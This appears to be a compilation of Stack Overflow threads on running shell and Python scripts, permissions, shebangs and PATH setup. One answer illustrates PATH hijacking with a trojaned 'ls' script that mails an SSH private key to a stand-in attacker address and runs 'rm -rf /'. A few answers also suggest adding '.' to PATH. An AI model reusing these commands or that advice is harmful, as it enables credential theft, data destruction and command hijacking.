I have a bash script like:
#!/bin/bash
echo Hello world!
How do I execute this in Terminal?
Yet another way to execute it (this time without setting execute permissions):
bash /path/to/scriptname
$prompt: /path/to/script and hit enter. Note you need to make sure the script has execute permissions.
cd to the directory that contains the script, or put it in a bin folder that is in your $PATH
then type
./scriptname.sh
if in the same directory or
scriptname.sh
if it's in the bin folder.
You could do:
sh scriptname.sh
This is an old thread, but I happened across it and I'm surprised nobody has put up a complete answer yet. So here goes...
The Executing a Command Line Script Tutorial!
Q: How do I execute this in Terminal?
The answer is below, but first ... if you are asking this question, here are a few other tidbits to help you on your way:
Confusions and Conflicts:
The Path
Understanding The Path (added by tripleee for completeness) is important. The "path" sounds like a Zen-like hacker koan or something, but it is simply a list of directories (folders) that are searched automatically when an unknown command is typed in at the command prompt. Some commands, like ls may be built-in's, but most commands are actually separate small programs. (This is where the "Zen of Unix" comes in ... "(i) Make each program do one thing well.")
Extensions
Unlike the old DOS command prompts that a lot of people remember, you do not need an 'extension' (like .sh or .py or anything else), but it helps to keep track of things. It is really only there for humans to use as a reference and most command lines and programs will not care in the least. It won't hurt. If the script name contains an extension, however, you must use it. It is part of the filename.
Changing directories
You do not need to be in any certain directory at all for any reason. But if the directory is not on the path (type echo $PATH to see), then you must include it. If you want to run a script from the current directory, use ./ before it. This ./ thing means 'here in the current directory.'
Typing the program name
You do not need to type out the name of the program that runs the file (BASH or Python or whatever) unless you want to. It won't hurt, but there are a few times when you may get slightly different results.
SUDO
You do not need sudo to do any of this. This command is reserved for running commands as another user or a 'root' (administrator) user. Running scripts with sudo allows much greater danger of screwing things up. So if you don't know the exact reason for using sudo, don't use it. Great post here.
Script location ...
A good place to put your scripts is in your ~/bin folder.
You can get there by typing
# A good place to put your scripts is in your ~/bin folder.
> cd ~/bin # or cd $HOME/bin
> ls -l
You will see a listing with owners and permissions. You will notice that you 'own' all of the files in this directory. You have full control over this directory and nobody else can easily modify it.
If it does not exist, you can create one:
> mkdir -p ~/bin && cd ~/bin
> pwd
/Users/Userxxxx/bin
A: To "execute this script" from the terminal on a Unix/Linux type system, you have to do three things:
1. Tell the system the location of the script. (pick one)
# type the name of the script with the full path
> /path/to/script.sh
# execute the script from the directory it is in
> ./script.sh
# place the script in a directory that is on the PATH
> script.sh
# ... to see the list of directories in the path, use:
> echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# ... or for a list that is easier to read:
> echo -e ${PATH//:/\\n}
# or
> printf "%b" "${PATH//:/\\n}"
/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin
2. Tell the system that the script has permission to execute. (pick one)
# set the 'execute' permissions on the script
> chmod +x /path/to/script.sh
# using specific permissions instead
# FYI, this makes these scripts inaccessible by ANYONE but an administrator
> chmod 700 /path/to/script.sh
# set all files in your script directory to execute permissions
> chmod +x ~/bin/*
There is a great discussion of permissions with a cool chart here.
3. Tell the system the type of script. (pick one)
Type the name of the program before the script. (Note: when using this method, the execute(chmod thing above) is not required
> bash /path/to/script.sh
...
> php /path/to/script.php
...
> python3 /path/to/script.py
...
Use a shebang, which I see you have (#!/bin/bash) in your example. If you have that as the first line of your script, the system will use that program to execute the script. No need for typing programs or using extensions.
Use a "portable" shebang. You can also have the system choose the version of the program that is first in the PATH by using #!/usr/bin/env followed by the program name (e.g. #!/usr/bin/env bash or #!/usr/bin/env python3). There are pros and cons as thoroughly discussed here.
Note: This "portable" shebang may not be as portable as it seems. As with anything over 50 years old and steeped in numerous options that never work out quite the way you expect them ... there is a heated debate. The most recent one I saw that is actually quite different from most ideas is the "portable" perl-bang:
#!/bin/sh
exec perl -x "$0" "$#"
#!perl
Firstly you have to make it executable using: chmod +x name_of_your_file_script.
After you made it executable, you can run it using ./same_name_of_your_file_script
Change your directory to where script is located by using cd command
Then type
bash program-name.sh
And yet one more way
. /path/to/script
What is the meaning of the dot?
If you are in a directory or folder where the script file is available then simply change the file permission in executable mode by doing
chmod +x your_filename.sh
After that you will run the script by using the following command.
$ sudo ./your_filename.sh
Above the "." represent the current directory.
Note!
If you are not in the directory where the bash script file is present then you change the directory where the file is located by using
cd Directory_name/write the complete path
command. Otherwise your script can not run.
Related
If I have a basic Python script, with it's hashbang and what-not in place, so that from the terminal on Linux I can run
/path/to/file/MyScript [args]
without executing through the interpreter or any file extensions, and it will execute the program.
So would I install this script so that I can type simply
MyScript [args]
anywhere in the system and it will run? Can this be implemented for all users on the system, or must it be redone for each one? Do I simply place the script in a specific directory, or are other things necessary?
The best place to put things like this is /usr/local/bin.
This is the normal place to put custom installed binaries, and should be early in your PATH.
Simply copy the script there (probably using sudo), and it should work for any user.
Walkthrough of making a python script available anywhere:
Make a python script:
cd /home/el/bin
touch stuff.py
chmod +x stuff.py
Find out where your python is:
which python
/usr/bin/python
Put this code in there:
#!/usr/bin/python
print "hi"
Run in it the same directory:
python stuff.py
Go up a directory and it's not available:
cd ..
stuff.py
-bash: stuff.py: command not found
Not found! It's as we expect, add the file path of the python file to the $PATH
vi ~/.bashrc
Add the file:
export PATH=$PATH:/home/el/bin
Save it out, re apply the .bashrc, and retry
source ~/.bashrc
Try again:
cd /home/el
stuff.py
Prints:
hi
The trick is that the bash shell knows the language of the file via the shebang.
you can also use setuptools (https://pypi.org/project/setuptools/)
your script will be:
def hi():
print("hi")
(suppose the file name is hello.py)
also add __init__.py file next to your script (with nothing in it).
add setup.py script, with the content:
#!/usr/bin/env python3
import setuptools
install_requires = [
'WHATEVER PACKAGES YOU NEED GOES HERE'
]
setuptools.setup(
name="some_utils",
version="1.1",
packages=setuptools.find_packages(),
install_requires=install_requires,
entry_points={
'console_scripts': [
'cool_script = hello:hi',
],
},
include_package_data=True,
)
you can now run python setup.py develop in this folder
then from anywhere, run cool_script and your script will run.
Just create ~/bin and put export PATH=$PATH:$HOME/bin in your bashrc/profile. Don't mess with the system, it will bite you back, trust me.
Few more things (relevant to the question but not part of the answer):
The other way export PATH=$HOME/bin:$PATH is NOT safe, for bash will will look into your ~/bin folder for executables, and if their name matches with other executables in your original $PATH you will be surprised by unexpected/non working command execution.
Don't forget to chmod+x when you save your script in ~/bin.
Be aware of what you are putting in your ~/bin folder, if you are just testing something or working on unfinished script, its always better to use ./$SCRIPT_NAME from your CWD to execute the script than putting it under ~/bin.
The quick answer is to symlink your script to any directory included in your system $PATH.
The long answer is described below with a walk through example, (this is what I normally do):
a) Create the script e.g. $HOME/Desktop/myscript.py:
#!/usr/bin/python
print("Hello Pythonista!")
b) Change the permission of the script file to make it executable:
$ chmod +x myscript.py
c) Add a customized directory to the $PATH (see why in the notes below) to use it for the user's scripts:
$ export PATH="$PATH:$HOME/bin"
d) Create a symbolic link to the script as follows:
$ ln -s $HOME/Desktop/myscript.py $HOME/bin/hello
Notice that hello (can be anything) is the name of the command that you will use to invoke your script.
Note:
i) The reason to use $HOME/bin instead of the /usr/local/bin is to separate the local scripts from those of other users (if you wish to) and other installed stuff.
ii) To create a symlink you should use the complete correct path, i.e.
$HOME/bin GOOD ~/bin NO GOOD!
Here is a complete example:
$ pwd
~/Desktop
$ cat > myscript.py << EOF
> #!/usr/bin/python
> print("Hello Pythonista!")
> EOF
$ export PATH="$PATH:$HOME/bin"
$ ln -s $HOME/Desktop/myscript.py $HOME/bin/hello
$ chmod +x myscript.py
$ hello
Hello Pythonista!
Just create symbolic link to your script in /usr/local/bin/:
sudo ln -s /path/to/your/script.py /usr/local/bin/script
Putting the script somewhere in the PATH (like /usr/local/bin) is a good solution, but this forces all the users of your system to use/see your script.
Adding an alias in /etc/profile could be a way to do what you want allowing the users of your system to undo this using the unalias command. The line to be added would be:
alias MyScript=/path/to/file/MyScript
i find a simple alias in my ~/.bash_profile or ~/.zshrc is the easiest:
alias myscript="python path/to/my/script.py"
Type echo $PATH in a shell. Those are the directories searched when you type command, so put it in one of those.
Edit: Apparently don't use /usr/bin, use /usr/local/bin
Acording to FHS, the /usr/local/bin/ is the good place for custom scripts.
I prefer to make them 755 root:root, after copying them there.
I have in my $PATH my own path to my scripts.
I do that adding on my .bashrc
PATH=$PATH:~/home/user/myownscripts
In that directory I have two scripts, but only can use one of them, the first one I did create. And if created another script doesn't work neither.
Only can call the first script created.
The ls command return the following output
first_script second_script third_script
And first_script is bold and green
Why? and how fix this problem?
The second and third scripts are not executable. Use ls -l (provides more details about the files) to see the permissions of the files and run the following command to make these scripts executable.
chmod +x second_script third_script
If you run ls -l again, you should notice that they now have the x bit set in their file permissions.
This is a basic and fundamental aspect to Unix systems and I’d suggest that you read a book or tutorial on shell programming on a Unix-like system.
I have a shell script with some functionalities. I want to convert it to an executable file. Any idea if this is possible?
Thanks
Add the following line at the very top of your script:
#!/bin/sh
This is known as a shebang. It indicates which program to invoke the shell script with when you execute it. You could change it to anything. Eg, to run a zsh script you would use #!/bin/zsh, which is the path to the zsh interpreter on my machine.
Then you need to mark the file as executable using chmod. You can do this as follows:
chmod +x myscript
You can now run the script like this:
/full/path/to/myscript
Or, if you're in the directory the script is in:
./myscript
The '.' expands to the path of your current working directory.
If you want to be able to run the script from anywhere, stick it somewhere in your path. Eg.
mv myscript /usr/bin
You can now run the script from anywhere by typing in just the name.
I am just starting to use terminal for my programming needs. In a lot of Django tutorials I see people say, for example, I should type this in terminal:
manage.py runserver
However when I do this it says:
bash: manage.py: command not found
I get it to work when I do: python manage.py runserver, however I would like to understand why this works and the other method doesn't. I guess these are some very basic things but I thought I'd ask here.
It is because your manage.py is not an executable script.
First put this line at the top of manage.py (assuming your python is in /usr/bin/python):
#!/usr/bin/python
Then make your script executable:
chmod +x manage.py
Then try to execute your script ./manage.py runserver.
Read this link for more info: http://effbot.org/pyfaq/how-do-i-make-a-python-script-executable-on-unix.htm
bash(1) will search your PATH environment variable to find programs to execute. PATH does not normally contain your "current working directory" (.) because that opens people up to trivial security problems:
cd /home/unsavory_character/
ls
If unsavory_character places an executable in /home/unsavory_character/ls that adds his or her ssh(1) key to your ~/.ssh/authorized_keys file, you'd be in for a surprise -- he or she could log in as you without a password.
So systems these days don't add the current working directory to the PATH, because it is too unsafe.
The workaround:
./manage.py runserver
Of course, that assumes your current working directory is whichever directory contains the manage.py script. That might be a safe assumption. If you'd like to be able to execute it from anywhere in the filesystem, you can add the directory to your PATH by editing your ~/.profile or ~/.bash_profile or ~/.bashrc file. (If one of them already exists, pick that one. I seem to recall others with PATH problems on OS X found one or the the other file worked well, and the other one never got executed.)
(In my case, I have a bunch of self-written utilities in ~/bin/, but yours might be elsewhere. Change the paths as appropriate.)
if [ -d "$HOME/bin" ] ; then
PATH="$HOME/bin:$PATH"
fi
manage.py needs to be executable. Try: chmod +x manage.py
I've cooked together a small "script" to automate this: (just copy whole text, and paste inside your active terminal.)
tee -a ~/.profile <<EOF
if [ -d "/Library/Python/2.6/site-packages/django/bin" ] ; then
PATH=/Library/Python/2.6/site-packages/django/bin:$PATH
fi
EOF
Doesn't django-admin.py do the same? I think so, because I can find manage.py inside my ../bin folder. And stated at the official documentation, they do the same. So I believe ;)
Also, have you obtained Django via easy_install? My script expect that you are using Snow Leopard with the system version (Python 2.6).
I have a Bash script on my desktop called highest.
If I run:
cd ~/Desktop
highest
I get: Command not found
But if I run:
~/Desktop/highest
It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?
I am guessing this has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.
I agree with #Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .
For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.
$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker#foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor#university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*
What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.
Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.
Add your own ~/bin directory, and place your own binaries in there.
mkdir ~/bin
vi ~/bin/highest
Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.
export PATH=$PATH:~/bin
To verify that highest is your path, do this:
bash$ which highest
/Users/stefanl/bin/highest
Yes, adding ./ is ok, so running cd ~/Desktop; ./highest will work. The problem is as you said: running highest by itself causes Linux to look in your $PATH for anything named highest, and since there's nothing there called that, it fails. Running ./highest while in the right directory gets around the problem altogether since you are specifying the path to the executable.
The best thing you can do is just get used to using ./highest when you want to run a command that is in your directory, unless you really want to add it to your path. Then you should add it to your path in your .profile file in your home directory (create it if it isn't there) so it gets loaded into your path every time you start up bash:
export PATH="/usr/local/bin:/usr/local/sbin:.:$PATH"
Don't change PATH, simply move or symlink the script to some standard location, e.g.
mkdir -p ~/bin
cd ~/bin
ln -s ../Desktop/highest highest
If ~/bin is in your path (and AFAIR this is the case if you use the default shell init scripts from Ubuntu), then you can call the scripts therein from anywhere by their name.
You would need to add the local directory to your path:
PATH=$PATH:.
export PATH
This can be done in your .profile or .bash_profile to always set this up whenever you login.
Also, as a matter of course, you can run the command with the current directory marker:
./highest
as well.
Of course there are security implications as noted below by many MANY users, which I should have mentioned.